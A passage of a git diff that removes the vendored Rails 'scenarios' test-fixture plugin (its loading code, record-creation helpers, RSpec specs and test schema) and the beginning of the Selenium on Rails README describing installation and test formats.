-  
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/extensions/test_case.rb b/vendor/plugins/scenarios/lib/scenarios/extensions/test_case.rb
deleted file mode 100644
index a9f0ef6a..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/extensions/test_case.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-module Test #:nodoc:
-  module Unit #:nodoc:
-    class TestCase #:nodoc:
-      superclass_delegating_accessor :scenario_classes
-      superclass_delegating_accessor :table_config
-      
-      # Changing either of these is not supported at this time.
-      self.use_transactional_fixtures = true
-      self.use_instantiated_fixtures = false
-      
-      include Scenarios::TableMethods
-      include Scenarios::Loading
-      
-      class << self
-        # This class method is mixed into RSpec and allows you to declare that
-        # you are using a given scenario or set of scenarios within a spec:
-        #
-        #   scenario :basic  # loads BasicScenario and any dependencies
-        #   scenario :posts, :comments  # loads PostsScenario and CommentsScenario
-        #
-        # It accepts an array of scenarios (strings, symbols, or classes) and
-        # will load them roughly in the order that they are specified.
-        def scenario(*names)
-          self.scenario_classes = []
-          names.each do |name|
-            scenario_class = name.to_scenario
-            scenario_classes.concat(scenario_class.used_scenarios + [scenario_class])
-          end
-          scenario_classes.uniq!
-        end
-      
-        # Overridden to provide before all and after all code which sets up and
-        # tears down scenarios
-        def suite_with_scenarios
-          suite = suite_without_scenarios
-          class << suite
-            attr_accessor :test_class
-            def run_with_scenarios(*args, &block)
-              debugger
-              run_without_scenarios(*args, &block)
-              test_class.table_config.loaded_scenarios.each { |s| s.unload } if test_class.table_config
-            end
-            alias_method_chain :run, :scenarios
-          end
-          suite.test_class = self
-          suite
-        end
-        alias_method_chain :suite, :scenarios
-      end
-      
-      # Hook into fixtures loading lifecycle to instead load scenarios. This
-      # is expected to be called in a fashion respective of
-      # use_transactional_fixtures. I feel like a leech.
-      def load_fixtures
-        if !scenarios_loaded? || !use_transactional_fixtures?
-          self.class.table_config = Scenarios::Configuration.new if !use_transactional_fixtures? || table_config.nil?
-          load_scenarios(scenario_classes)
-        end
-        self.extend scenario_helpers
-        self.extend table_readers
-      end
-      
-      # Here we are counting on existing logic to allow teardown method
-      # overriding as done in fixtures.rb. Only if transaction fixtures are
-      # not being used do we unload scenarios after a test. Otherwise, we wait
-      # until the end of the run of all tests on this test_case (collection of
-      # tests, right!). See the TestSuite extension done in _suite_ for
-      # behaviour when using transaction fixtures.
-      def teardown_with_scenarios
-        teardown_without_scenarios
-        loaded_scenarios.each { |s| s.unload } unless use_transactional_fixtures?
-      end
-      alias_method_chain :teardown, :scenarios
-      
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/loading.rb b/vendor/plugins/scenarios/lib/scenarios/loading.rb
deleted file mode 100644
index b369196e..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/loading.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-module Scenarios
-  # Provides scenario loading and convenience methods around the Configuration
-  # that must be made available through a method _table_config_.
-  module Loading # :nodoc:
-    def load_scenarios(scenario_classes)
-      install_active_record_tracking_hook
-      scenario_classes.each do |scenario_class|
-        scenario = scenario_class.new(table_config)
-        scenario.load
-        table_config.loaded_scenarios << scenario
-      end if scenario_classes
-    end
-    
-    def loaded_scenarios
-      table_config.loaded_scenarios
-    end
-    
-    def scenarios_loaded?
-      table_config && table_config.scenarios_loaded?
-    end
-    
-    # The sum of all the loaded scenario's helper methods. These can be mixed
-    # into anything you like to gain access to them.
-    def scenario_helpers
-      table_config.scenario_helpers
-    end
-    
-    # The sum of all the available table reading methods. These will only
-    # include readers for which data has been placed into the table. These can
-    # be mixed into anything you like to gain access to them.
-    def table_readers
-      table_config.table_readers
-    end
-    
-    # # This understand nesting descriptions one deep
-    # def table_config
-    #   on_my_class = self.class.instance_variable_get("@table_config")
-    #   return on_my_class if on_my_class
-    #   
-    #   if self.class.superclass
-    #     on_super_class = self.class.superclass.instance_variable_get("@table_config")
-    #     return on_super_class if on_super_class
-    #   end
-    # end
-    
-    private
-      def install_active_record_tracking_hook
-        ActiveRecord::Base.table_config = table_config
-      end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/table_blasting.rb b/vendor/plugins/scenarios/lib/scenarios/table_blasting.rb
deleted file mode 100644
index 9b2efc3d..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/table_blasting.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module Scenarios
-  module TableBlasting
-    def self.included(base)
-      base.module_eval do
-        delegate :blasted_tables, :to => :table_config
-      end
-    end
-    
-    def blast_table(name) # :nodoc:
-      ActiveRecord::Base.silence do
-        ActiveRecord::Base.connection.delete "DELETE FROM #{name}", "Scenario Delete"
-      end
-      blasted_tables << name
-    end
-    
-    def prepare_table(name)
-      blast_table(name) unless blasted_tables.include?(name)
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/lib/scenarios/table_methods.rb b/vendor/plugins/scenarios/lib/scenarios/table_methods.rb
deleted file mode 100644
index a9f2be34..00000000
--- a/vendor/plugins/scenarios/lib/scenarios/table_methods.rb
+++ /dev/null
@@ -1,205 +0,0 @@
-module Scenarios
-  # This helper module contains the #create_record method. It is made
-  # available to all Scenario instances, test and example classes, and test
-  # and example instances.
-  module TableMethods
-    include TableBlasting
-    
-    delegate :record_metas, :to => :table_config
-    
-    # Insert a record into the database, add the appropriate helper methods
-    # into the scenario and spec, and return the ID of the inserted record:
-    #
-    #   create_record :event, :name => "Ruby Hoedown"
-    #   create_record Event, :hoedown, :name => "Ruby Hoedown"
-    #
-    # The first form will create a new record in the given class identifier
-    # and no symbolic name (essentially).
-    #
-    # The second form is exactly like the first, except for that it provides a
-    # symbolic name as the second parameter. The symbolic name will allow you
-    # to access the record through a couple of helper methods:
-    #
-    #   events(:hoedown)    # The hoedown event
-    #   event_id(:hoedown)  # The ID of the hoedown event
-    #
-    # These helper methods are only accessible for a particular table after
-    # you have inserted a record into that table using <tt>create_record</tt>.
-    def create_record(class_identifier, *args)
-      insert(ScenarioRecord, class_identifier, *args) do |record|
-        meta = record.record_meta
-        fixture = record.to_fixture
-        begin
-          meta.connection.insert_fixture(fixture, record.record_meta.table_name)
-        rescue # Rails 1.2 compatible!
-          meta.connection.execute "INSERT INTO #{meta.table_name} (#{fixture.key_list}) VALUES (#{fixture.value_list})"
-        end
-        record.id
-      end
-    end
-    
-    # Instantiate and save! a model, add the appropriate helper methods into
-    # the scenario and spec, and return the new model instance:
-    #
-    #   create_model :event, :name => "Ruby Hoedown"
-    #   create_model Event, :hoedown, :name => "Ruby Hoedown"
-    #
-    # The first form will create a new model with no symbolic name
-    # (essentially).
-    #
-    # The second form is exactly like the first, except for that it provides a
-    # symbolic name as the second parameter. The symbolic name will allow you
-    # to access the record through a couple of helper methods:
-    #
-    #   events(:hoedown)    # The hoedown event
-    #   event_id(:hoedown)  # The ID of the hoedown event
-    #
-    # These helper methods are only accessible for a particular table after
-    # you have inserted a record into that table using <tt>create_model</tt>.
-    def create_model(class_identifier, *args)
-      insert(ScenarioModel, class_identifier, *args) do |record|
-        model = record.to_model
-        model.save!
-        model
-      end
-    end
-    
-    private
-      def insert(record_or_model, class_identifier, *args, &insertion)
-        symbolic_name, attributes = extract_creation_arguments(args)
-        record_meta  = (record_metas[class_identifier] ||= RecordMeta.new(class_identifier))
-        record       = record_or_model.new(record_meta, attributes, symbolic_name)
-        return_value = nil
-        ActiveRecord::Base.silence do
-          prepare_table(record_meta.table_name)
-          return_value = insertion.call record
-          table_config.update_table_readers(record)
-          self.extend table_config.table_readers
-        end
-        return_value
-      end
-      
-      def extract_creation_arguments(arguments)
-        if arguments.size == 2 && arguments.last.kind_of?(Hash)
-          arguments
-        elsif arguments.size == 1 && arguments.last.kind_of?(Hash)
-          [nil, arguments[0]]
-        else
-          [nil, Hash.new]
-        end
-      end
-      
-      class RecordMeta # :nodoc:
-        attr_reader :class_name, :record_class, :table_name
-        
-        def initialize(class_identifier)
-          @class_identifier = class_identifier
-          @class_name       = resolve_class_name(class_identifier)
-          @record_class     = class_name.constantize
-          @table_name       = record_class.table_name
-        end
-        
-        def timestamp_columns
-          @timestamp_columns ||= begin
-            timestamps = %w(created_at created_on updated_at updated_on)
-            columns.select do |column|
-              timestamps.include?(column.name)
-            end
-          end
-        end
-
-        def columns
-          @columns ||= connection.columns(table_name)
-        end
-        
-        def connection
-          record_class.connection
-        end
-        
-        def id_reader
-          @id_reader ||= begin
-            reader = ActiveRecord::Base.pluralize_table_names ? table_name.singularize : table_name
-            "#{reader}_id".to_sym
-          end
-        end
-        
-        def record_reader
-          table_name.to_sym
-        end
-        
-        def resolve_class_name(class_identifier)
-          case class_identifier
-          when Symbol
-            class_identifier.to_s.singularize.camelize
-          when Class
-            class_identifier.name
-          when String
-            class_identifier
-          end
-        end
-        
-        def to_s
-          "#<RecordMeta: #{table_name}>"
-        end
-      end
-      
-      class ScenarioModel # :nodoc:
-        attr_reader :attributes, :model, :record_meta, :symbolic_name
-        delegate :id, :to => :model
-        
-        def initialize(record_meta, attributes, symbolic_name = nil)
-          @record_meta   = record_meta
-          @attributes    = attributes.stringify_keys
-          @symbolic_name = symbolic_name || object_id
-        end
-        
-        def to_hash
-          to_model.attributes
-        end
-        
-        def to_model
-          @model ||= record_meta.record_class.new(attributes)
-        end
-      end
-      
-      class ScenarioRecord # :nodoc:
-        attr_reader :record_meta, :symbolic_name
-        
-        def initialize(record_meta, attributes, symbolic_name = nil)
-          @record_meta   = record_meta
-          @attributes    = attributes.stringify_keys
-          @symbolic_name = symbolic_name || object_id
-          
-          install_default_attributes!
-        end
-        
-        def id
-          @attributes['id']
-        end
-        
-        def to_hash
-          @attributes
-        end
-        
-        def to_fixture
-          Fixture.new(to_hash, record_meta.class_name)
-        end
-        
-        def install_default_attributes!
-          @attributes['id'] ||= symbolic_name.to_s.hash.abs
-          install_timestamps!
-        end
-        
-        def install_timestamps!
-          record_meta.timestamp_columns.each do |column|
-            @attributes[column.name] = now(column) unless @attributes.key?(column.name)
-          end
-        end
-        
-        def now(column)
-          now = ActiveRecord::Base.default_timezone == :utc ? column.klass.now.utc : column.klass.now
-          now.to_s(:db)
-        end
-      end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/spec/scenarios/complex_composite_scenario.rb b/vendor/plugins/scenarios/spec/scenarios/complex_composite_scenario.rb
deleted file mode 100644
index 1d3c3318..00000000
--- a/vendor/plugins/scenarios/spec/scenarios/complex_composite_scenario.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class ComplexCompositeScenario < Scenario::Base
-  uses :composite, :places
-  
-  helpers do
-    def method_from_complex_composite_scenario
-      :method_from_complex_composite_scenario
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/spec/scenarios/composite_scenario.rb b/vendor/plugins/scenarios/spec/scenarios/composite_scenario.rb
deleted file mode 100644
index 09903b28..00000000
--- a/vendor/plugins/scenarios/spec/scenarios/composite_scenario.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class CompositeScenario < Scenario::Base
-  uses :people, :things
-  
-  helpers do
-    def method_from_composite_scenario
-      :method_from_composite_scenario
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/spec/scenarios/empty_scenario.rb b/vendor/plugins/scenarios/spec/scenarios/empty_scenario.rb
deleted file mode 100644
index 0ea2ba64..00000000
--- a/vendor/plugins/scenarios/spec/scenarios/empty_scenario.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class EmptyScenario < Scenario::Base
-  def load
-  end
-end
diff --git a/vendor/plugins/scenarios/spec/scenarios/people_scenario.rb b/vendor/plugins/scenarios/spec/scenarios/people_scenario.rb
deleted file mode 100644
index 792e0f4a..00000000
--- a/vendor/plugins/scenarios/spec/scenarios/people_scenario.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-class PeopleScenario < Scenario::Base
-  
-  def load
-    create_person "John Long"
-    create_person "Adam Williams"
-  end
-  
-  helpers do
-    def create_person(attributes = {})
-      if attributes.kind_of?(String)
-        first, last = attributes.split(/\s+/)
-        attributes = { :first_name => first, :last_name => last }
-      end 
-      attributes = person_params(attributes)
-      create_record(:person, attributes[:first_name].strip.gsub(' ', '_').underscore.to_sym, attributes)
-    end
-    
-    def person_params(attributes = {})
-      attributes = {
-        :first_name => "John",
-        :last_name  => "Q."
-      }.update(attributes)
-    end
-  end
-  
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/spec/scenarios/places_scenario.rb b/vendor/plugins/scenarios/spec/scenarios/places_scenario.rb
deleted file mode 100644
index 50d7ddf9..00000000
--- a/vendor/plugins/scenarios/spec/scenarios/places_scenario.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-class PlacesScenario < Scenario::Base
-  
-  def load
-    create_place "Taj Mahal", "India"
-    create_place "Whitehouse", "Washington DC"
-  end
-  
-  helpers do
-    def create_place(name, location)
-      attributes = place_params(:name => name, :location => location)
-      create_record(:place, name.strip.gsub(' ', '_').underscore.to_sym, attributes)
-    end
-    
-    def place_params(attributes = {})
-      attributes = {
-        :name => "Noplace",
-        :location  => "Nowhere"
-      }.update(attributes)
-    end
-  end
-  
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/spec/scenarios/things_scenario.rb b/vendor/plugins/scenarios/spec/scenarios/things_scenario.rb
deleted file mode 100644
index d37abd39..00000000
--- a/vendor/plugins/scenarios/spec/scenarios/things_scenario.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-class ThingsScenario < Scenario::Base
-
-  def load
-    create_thing "one"
-    create_thing "two"
-  end
-
-  helpers do
-    def create_thing(attributes = {})
-      attributes = { :name => attributes } if attributes.kind_of?(String)
-      attributes = thing_params(attributes)
-      create_record(:thing, attributes[:name].strip.gsub(' ', '_').underscore.to_sym, attributes)
-    end
-
-    def thing_params(attributes = {})
-      attributes = {
-        :name        => "Unnamed Thing",
-        :description => "I'm not sure what this is."
-      }.update(attributes)
-    end
-  end
-end
diff --git a/vendor/plugins/scenarios/spec/scenarios_spec.rb b/vendor/plugins/scenarios/spec/scenarios_spec.rb
deleted file mode 100644
index c74fd5e0..00000000
--- a/vendor/plugins/scenarios/spec/scenarios_spec.rb
+++ /dev/null
@@ -1,185 +0,0 @@
-require File.expand_path(File.dirname(__FILE__) + "/spec_helper")
-
-class ExplodesOnSecondInstantiationScenario < Scenario::Base
-  cattr_accessor :instance
-  def initialize(*args)
-    raise "Should only be created once" if self.class.instance
-    self.class.instance = super(*args)
-  end
-end
-
-describe "Scenario loading" do
-  scenario :explodes_on_second_instantiation
-  
-  it "should work" do
-  end
-  
-  it 'should work again' do
-  end
-end
-
-describe "Scenario loading" do
-  it "should load from configured directories" do
-    Scenario.load(:empty)
-    EmptyScenario
-  end
-  
-  it "should raise Scenario::NameError when the scenario does not exist" do
-    lambda { Scenario.load(:whatcha_talkin_bout) }.should raise_error(Scenario::NameError)
-  end
-  
-  it "should allow us to add helper methods through the helpers class method" do
-    klass = :empty.to_scenario
-    klass.helpers do
-      def hello
-        "Hello World"
-      end
-    end
-    klass.new.methods.should include('hello')
-  end
-  
-  it "should provide a built-in scenario named :blank which clears all tables found in schema.rb" do
-    Scenario.load(:blank)
-    BlankScenario
-  end
-end
-
-describe Scenarios::TableMethods do
-  scenario :things
-  
-  it "should understand namespaced models" do
-    create_record "ModelModule::Model", :raking, :name => "Raking", :description => "Moving leaves around"
-    models(:raking).should_not be_nil
-  end
-  
-  it "should include record creation methods" do
-    create_record(:thing, :three, :name => "Three")
-    things(:three).name.should == "Three"
-  end
-  
-  it "should include other example helper methods" do
-    create_thing("The Thing")
-    things(:the_thing).name.should == "The Thing"
-  end
-  
-  describe "for retrieving objects" do
-    it "should have a pluralized name" do
-      should respond_to("things")
-      should_not respond_to("thing")
-    end
-    
-    it "should answer a single object given a single name" do
-      things(:one).should be_kind_of(Thing)
-      things("one").should be_kind_of(Thing)
-      things(:two).name.should == "two"
-    end
-    
-    it "should answer an array of objects given multiple names" do
-      things(:one, :two).should be_kind_of(Array)
-      things(:one, :two).should eql([things(:one), things(:two)])
-    end
-    
-    it "should just return the argument if an AR instance is given" do
-      thing = things(:one)
-      things(thing).should eql(thing)
-    end
-  end
-  
-  describe "for retrieving ids" do
-    it "should have a singular name" do
-      should respond_to("thing_id")
-      should_not respond_to("thing_ids")
-      should_not respond_to("things_id")
-    end
-    
-    it "should answer a single id given a single name" do
-      thing_id(:one).should be_kind_of(Fixnum)
-      thing_id("one").should be_kind_of(Fixnum)
-    end
-    
-    it "should answer an array of ids given multiple names" do
-      thing_id(:one, :two).should be_kind_of(Array)
-      thing_id(:one, :two).should eql([thing_id(:one), thing_id(:two)])
-      thing_id("one", "two").should eql([thing_id(:one), thing_id(:two)])
-    end
-    
-    it "should answer the id of the argument if an AR instance id given" do
-      thing = things(:one)
-      thing_id(thing).should == thing.id
-    end
-  end
-end
-
-describe "it uses people and things scenarios", :shared => true do
-  it "should have reader helper methods for each used scenario" do
-    should respond_to(:things)
-    should respond_to(:people)
-  end
-  
-  it "should allow us to use helper methods from each scenario inside an example" do
-    should respond_to(:create_thing)
-    should respond_to(:create_person)
-  end
-end
-
-describe "A composite scenario" do
-  scenario :composite
-  
-  it_should_behave_like "it uses people and things scenarios"
-  
-  it "should allow us to use helper methods scenario" do
-    should respond_to(:method_from_composite_scenario)
-  end
-end
-
-describe "Multiple scenarios" do
-  scenario :things, :people
-  
-  it_should_behave_like "it uses people and things scenarios"
-end
-
-describe "A complex composite scenario" do
-  scenario :complex_composite
-  
-  it_should_behave_like "it uses people and things scenarios"
-  
-  it "should have correct reader helper methods" do
-    should respond_to(:places)
-  end
-  
-  it "should allow us to use correct helper methods" do
-    should respond_to(:create_place)
-  end
-end
-
-describe "Overlapping scenarios" do
-  scenario :composite, :things, :people
-  
-  it "should not cause scenarios to be loaded twice" do
-    Person.find_all_by_first_name("John").size.should == 1
-  end
-end
-
-describe "create_record table method" do
-  scenario :empty
-  
-  it "should automatically set timestamps" do
-    create_record :note, :first, :content => "first note"
-    note = notes(:first)
-    note.created_at.should be_instance_of(Time)
-  end
-end
-
-describe "create_model table method" do
-  scenario :empty
-  
-  it "should support symbolic names" do
-    thing = create_model Thing, :mything, :name => "My Thing", :description => "For testing"
-    things(:mything).should == thing
-  end
-  
-  it "should blast any table touched as a side effect of creating a model (callbacks, observers, etc.)" do
-    create_model SideEffectyThing
-    blasted_tables.should include(Thing.table_name)
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/spec/spec.opts b/vendor/plugins/scenarios/spec/spec.opts
deleted file mode 100644
index 2144705e..00000000
--- a/vendor/plugins/scenarios/spec/spec.opts
+++ /dev/null
@@ -1,7 +0,0 @@
---colour
---format
-progress
---loadby
-mtime
---reverse
---backtrace
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/spec/spec_helper.rb b/vendor/plugins/scenarios/spec/spec_helper.rb
deleted file mode 100644
index b641894f..00000000
--- a/vendor/plugins/scenarios/spec/spec_helper.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require File.expand_path(File.dirname(__FILE__) + '/../testing/plugit_descriptor')
-
-TESTING_ROOT = File.expand_path("#{File.dirname(__FILE__)}/../testing")
-TESTING_TMP = "#{TESTING_ROOT}/tmp"
-
-require 'fileutils'
-FileUtils.mkdir_p(TESTING_TMP)
-FileUtils.touch("#{TESTING_TMP}/test.log")
-
-require 'logger'
-RAILS_DEFAULT_LOGGER = Logger.new("#{TESTING_TMP}/test.log")
-RAILS_DEFAULT_LOGGER.level = Logger::DEBUG
-
-ActiveRecord::Base.silence do
-  ActiveRecord::Base.configurations = {'sqlite3' => {
-    'adapter' => 'sqlite3',
-    'database' => "#{TESTING_TMP}/sqlite3.db"
-  }}
-  ActiveRecord::Base.establish_connection 'sqlite3'
-  load "#{TESTING_ROOT}/schema.rb"
-end
-
-require "models"
-require "scenarios"
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/tasks/scenario.rake b/vendor/plugins/scenarios/tasks/scenario.rake
deleted file mode 100644
index 37b56ebb..00000000
--- a/vendor/plugins/scenarios/tasks/scenario.rake
+++ /dev/null
@@ -1,19 +0,0 @@
-namespace :db do
-  namespace :scenario do
-    desc "Load a scenario into the current environment's database using SCENARIO=scenario_name"
-    task :load => 'db:reset' do
-      scenario_name = ENV['SCENARIO'] || 'default'
-      begin
-        klass = Scenarios.load(scenario_name)
-        puts "Loaded #{klass.name.underscore.gsub('_', ' ')}."
-      rescue Scenarios::NameError => e
-        if scenario_name == 'default'
-          puts "Error! Set the SCENARIO environment variable or define a DefaultScenario class."
-        else
-          puts "Error! Invalid scenario name [#{scenario_name}]."
-        end
-        exit(1)
-      end
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/testing/application.rb b/vendor/plugins/scenarios/testing/application.rb
deleted file mode 100644
index 87f91f64..00000000
--- a/vendor/plugins/scenarios/testing/application.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class ApplicationController < ActionController::Base
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/testing/models.rb b/vendor/plugins/scenarios/testing/models.rb
deleted file mode 100644
index 34801db4..00000000
--- a/vendor/plugins/scenarios/testing/models.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class Person < ActiveRecord::Base; end
-class Place < ActiveRecord::Base; end
-class Thing < ActiveRecord::Base; end
-class Note < ActiveRecord::Base; end
-
-class SideEffectyThing < ActiveRecord::Base
-  after_create do
-    Thing.create!
-  end
-end
-
-module ModelModule
-  class Model < ActiveRecord::Base; end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/testing/plugit_descriptor.rb b/vendor/plugins/scenarios/testing/plugit_descriptor.rb
deleted file mode 100644
index 17b19e67..00000000
--- a/vendor/plugins/scenarios/testing/plugit_descriptor.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-require 'rubygems'
-gem 'plugit'
-require 'plugit'
-
-$LOAD_PATH << File.expand_path("#{File.dirname(__FILE__)}/../lib")
-$LOAD_PATH << File.expand_path(File.dirname(__FILE__))
-RAILS_ROOT = File.expand_path("#{File.dirname(__FILE__)}/..")
-
-Plugit.describe do |scenarios|
-  scenarios.environments_root_path = File.dirname(__FILE__) + '/environments'
-  vendor_directory = File.expand_path(File.dirname(__FILE__) + '/../vendor/plugins')
-  
-  scenarios.environment :default, 'Released versions of Rails and RSpec' do |env|
-    env.library :rails, :export => "git clone git://github.com/rails/rails.git" do |rails|
-      rails.after_update { `git co v2.1.0_RC1` }
-      rails.load_paths = %w{/activesupport/lib /activerecord/lib /actionpack/lib}
-      rails.requires = %w{active_support active_record action_controller action_view}
-    end
-    env.library :rspec, :export => "git clone git://github.com/dchelimsky/rspec.git" do |rspec|
-      rspec.after_update { `git co 1.1.4 && mkdir -p #{vendor_directory} && ln -sF #{File.expand_path('.')} #{vendor_directory + '/rspec'}` }
-      rspec.requires = %w{spec}
-    end
-    env.library :rspec_rails, :export => "git clone git://github.com/dchelimsky/rspec-rails.git" do |rspec_rails|
-      rspec_rails.after_update { `git co 1.1.4` }
-      rspec_rails.requires = %w{spec/rails}
-    end
-  end
-  
-  scenarios.environment :edge, 'Edge versions of Rails and RSpec' do |env|
-    env.library :rails, :export => "git clone git://github.com/rails/rails.git --depth 1" do |rails|
-      rails.before_install { `git pull` }
-      rails.load_paths = %w{/activesupport/lib /activerecord/lib /actionpack/lib}
-      rails.requires = %w{active_support active_record action_controller action_view}
-    end
-    env.library :rspec, :export => "git clone git://github.com/dchelimsky/rspec.git --depth 1" do |rspec|
-      rspec.after_update { `git pull && mkdir -p #{vendor_directory} && ln -sF #{File.expand_path('.')} #{vendor_directory + '/rspec'}` }
-      rspec.requires = %w{spec}
-    end
-    env.library :rspec_rails, :export => "git clone git://github.com/dchelimsky/rspec-rails.git --depth 1" do |rspec_rails|
-      rspec_rails.after_update { `git pull` }
-      rspec_rails.requires = %w{spec/rails}
-    end
-  end
-end
\ No newline at end of file
diff --git a/vendor/plugins/scenarios/testing/schema.rb b/vendor/plugins/scenarios/testing/schema.rb
deleted file mode 100644
index 30a1326c..00000000
--- a/vendor/plugins/scenarios/testing/schema.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-ActiveRecord::Schema.define do
-  create_table :people, :force => true do |t|
-    t.column :first_name, :string
-    t.column :last_name, :string
-  end
-  
-  create_table :places, :force => true do |t|
-    t.column :name, :string
-    t.column :location, :string 
-  end
-  
-  create_table :things, :force => true do |t|
-    t.column :name, :string
-    t.column :description, :string
-  end
-  
-  create_table :side_effecty_things, :force => true do |t|
-  end
-
-  create_table :models, :force => true do |t|
-    t.column :name, :string
-    t.column :description, :string
-  end
-  
-  create_table :notes, :force => true do |t|
-    t.column :content, :string
-    t.column :created_at, :datetime
-    t.column :updated_at, :datetime
-  end
-end
-  
\ No newline at end of file
diff --git a/vendor/plugins/selenium-on-rails/README b/vendor/plugins/selenium-on-rails/README
deleted file mode 100644
index b5fd4cca..00000000
--- a/vendor/plugins/selenium-on-rails/README
+++ /dev/null
@@ -1,332 +0,0 @@
-
-Installation for rails versions before Rails 2.1
-
-Rails has been changed in ways that break the original versions of Selenium on Rails. If you're using versions before Rails 2.1 you need to use this release. There are no plans to update this release with new changes or bug fixes unless there is sufficient demand, so if you can update then do so.
-
-   1. Install Selenium on Rails: script/plugin install http://svn.openqa.org/svn/selenium-on-rails/tags/pre-rails-2-1/selenium-on-rails
-   2. If you‘re on Windows, gem install win32-open3
-   3. If the RedCloth gem is available the Selenese test cases can use it for better markup.
-   4. Run the Rakefile in the plugin‘s directory to run the tests in order to see that everything works. (If RedCloth isn‘t installed a few tests will fail since they assume RedCloth is installed.)
-   5. Create a test case: script/generate selenium login
-   6. Start the server: script/server -e test
-   7. Point your browser to localhost:3000/selenium
-   8. If everything works as expected you should see the Selenium test runner. The north east frame contains all your test cases (just one for now), and the north frame contains your test case.
-
-Formats
-
-The test cases can be written in a number of formats. Which one you choose is a matter of taste. You can generate your test files by running script/generate selenium or by creating them manually in your /test/selenium directory.
-RSelenese, .rsel
-
-RSelenese enable you to write your tests in Ruby. This is my favorite format.
-
- setup :fixtures => :all
- open '/'
- assert_title 'Home'
- ('a'..'z').each {|c| open :controller => 'user', :action => 'create', :name => c }
-
-See SeleniumOnRails::TestBuilder for available commands. This is also available in the SeleniumIDE, using the format here. IMPORTANT NOTE: RSelenese generates the HTML tables for Selenium behind the scenes when the page is loaded - ONCE. That means code like this:
-
-	(1..10).each do |index|
-		do something
-	end
-
-Will only be executed when the test is loaded, not when the test is run. This is a common error and leads to tests that work the first time and fail the second time.
-Selenese, .sel
-
-Selenese is the dumbest format (in a good way). You just write your commands delimited by | characters.
-
- |open|/selenium/setup|
- |open|/|
- |goBack|
-
-If you don‘t want to write Selenese tests by hand you can use SeleniumIDE which has support for Selenese.
-
-SeleniumIDE makes it super easy to record test and edit them.
-HTML/RHTML
-
-You can write your tests in HTML/RHTML but that‘s mostly useful if you have existing tests you want to reuse.
-Partial test cases
-
-If you have some common actions you want to do in several test cases you can put them in a separate partial test case and include them in your other test cases. This is highly recommended, just as small functions would be recommended in structured programming.
-
-A partial test case is just like a normal test case besides that its filename has to start with _:
-
- #_login.rsel
- open '/login'
- type 'name', name
- type 'password', password
- click 'submit', :wait=>true
-
-To include a partial test case in a RSelenese test case:
-
- include_partial 'login', :name => 'Jane Doe', :password => 'Jane Doe'.reverse
-
-in a Selenese test case:
-
- |includePartial|login|name=John Doe|password=eoD nhoJ|
-
-and in a RHTML test case:
-
- <%= render :partial => 'login', :locals => {:name = 'Joe Schmo', :password => 'Joe Schmo'.reverse} %>
-
-Configuration
-
-There are a number of settings available. You make them by renaming config.yml.example to config.yml and make your changes in that file.
-Environments
-
-Per default this plugin is only available in test environment. You can change this by setting environments, such as:
-
- #config.yml
- environments:
-   - test
-   - development
-
-Selenium Core path
-
-If you don‘t want to use the bundled Selenium Core version you can set selenium_path to the directory where Selenium Core is stored.
-
- #config.yml
- selenium_path: 'c:\selenium'
-
-test:acceptance
-
-You can run all your Selenium tests as a Rake task. If you're using a continuous builder this is a great way to integrate selenium into your build process.
-
-First, if you‘re on Windows, you have to make sure win32-open3 is installed. Then you have to configure which browsers you want to run, like this:
-
- #config.yml
- browsers:
-   firefox: 'c:\Program Files\Mozilla Firefox\firefox.exe'
-   ie: 'c:\Program Files\Internet Explorer\iexplore.exe'
-
-Now you‘re all set. First start a server:
-
- script/server -e test
-
-Then run the tests:
-
-	rake test:acceptance
-
-Now it should work, otherwise let me know!
-Store results
-
-If you want to store the results from a test:acceptance you just need to set in which directory they should be stored:
-
- #config.yml
- result_dir: 'c:\result'
-
-So when you run rake test:acceptance the tables with the results will be stored as .html files in that directory.
-
-This can be useful especially for continous integration.
-
-
-= Selenium on Rails
-
-== Overview
-
-Selenium on Rails provides an easy way to test Rails application with 
-SeleniumCore[http://www.openqa.org/selenium-core/].
-
-This plugin does four things:
-1. The Selenium Core files don't have to pollute <tt>/public</tt>.
-2. No need to create suite files, they are generated on the fly -- one suite per directory in <tt>/test/selenium</tt> (suites can be nested).
-3. Instead of writing the test cases in HTML you can use a number of better formats (see <tt>Formats</tt>).
-4. Loading of fixtures and wiping of session (<tt>/selenium/setup</tt>).
-
-== Installation
-
-== Installation for Rails 2.1
-
-1. Install Selenium on Rails: script/plugin install http://svn.openqa.org/svn/selenium-on-rails/current/selenium-on-rails
-2. If you‘re on Windows, gem install win32-open3
-3. If the RedCloth gem is available the Selenese test cases can use it for better markup.
-4. Run the Rakefile in the plugin‘s directory to run the tests in order to see that everything works. (If RedCloth isn‘t installed a few tests will fail since they assume RedCloth is installed.)
-5. Create a test case: script/generate selenium login
